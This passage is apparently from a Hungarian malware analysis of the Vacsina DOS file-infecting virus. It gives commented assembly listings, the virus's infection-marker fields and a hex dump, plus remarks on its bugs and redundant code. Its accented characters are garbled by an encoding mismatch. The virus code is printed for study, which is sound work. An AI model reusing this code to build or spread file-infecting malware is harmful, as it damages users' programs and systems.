0480 C706C5007F39  MOV	WORD PTR [00C5],397F;Azonosˇt˘ sz˘
0486 26            ES:
0487 C606C70005    MOV	BYTE PTR [00C7],05  ;Vˇrus verzi˘sz ma


     ;                   DTA be llˇt sa (rosszul!)

048C 8CC8          MOV	AX,CS
048E 8ED8          MOV	DS,AX
0490 B41A          MOV	AH,1A               ;SET_DTA_ADDRESS (ds:dx)
0492 BA5000        MOV	DX,0050             ;HIBA !!! 0080 kellene
0495 CD21          INT	21


     ;               Az eredeti program futtat s ra ugr s

0497 2E            CS:
0498 8B47FB        MOV	AX,[BX-05]          ;ERE_AX (039A) Megj.:Teljesen felesle
						ges
049B E94EFF        JMP	03EC



     ;---------------------------------------------------------------
     ;  A file utols˘ 8 byteja tartalmazza a fontos inform ci˘kat
     ;---------------------------------------------------------------

049E ERE_HOSSZ     DW   ?         ;A file eredeti hossza
04A0 ERE_2_3       DW   ?         ;A file eredeti 2.,3. byteja+0103
04A2 AZONOSITO     DW   7AF4      ;Azonosˇt˘sz˘. Ez alapj n ismeri fel a fert”z‚
						st
04A4 VERZIOSZAM    DB   5         ;Vˇrus verzi˘sz ma
04A5 ERE_1         DB   0         ;M‚g nem haszn lt (az els” byte mindig E9)


Vˇrus elej‚nek hexa dump-ja:

cs-1:0000  4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00   M..K............
cs-1:0010  72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21   r...V. . ......!
cs-1:0020  B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20   ... .VACSINA
cs-1:0030  00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00   ........|.7..@..
cs-1:0040  46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20   F........
cs-1:0050  20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00                ...


Megjegyz‚sek:

- A file eredeti idej‚t nem k‚redezi le, ‚s nem  llˇtja vissza.
- DTA-t rosszul  llˇtja be. Ez a gyermekbetegs‚g a k‚s”bbi verzi˘kban is megmara
						dt.
- rdekes, hogy az EXE k˘dj t az 5A4D-t itt csak ˇgy haszn lja, mˇg a k‚s”bbi ve
						rzi˘k a 4D5A-t
  is haszn lj k.
- EXE-k COM-m  alakˇt sa ut n nem tudom, hogy mi‚rt nem mindj rt a COM megfert”z
						‚se r‚szre ugrik.
- J˘p r felesleges utasˇt s van a k˘dban, ami m‚g a k‚s”bbi verzi˘kban is megmar
						adt.
- A vˇrus eg‚sz mk”d‚se arra utal, hogy csak kis‚rletez‚sr”l van sz˘.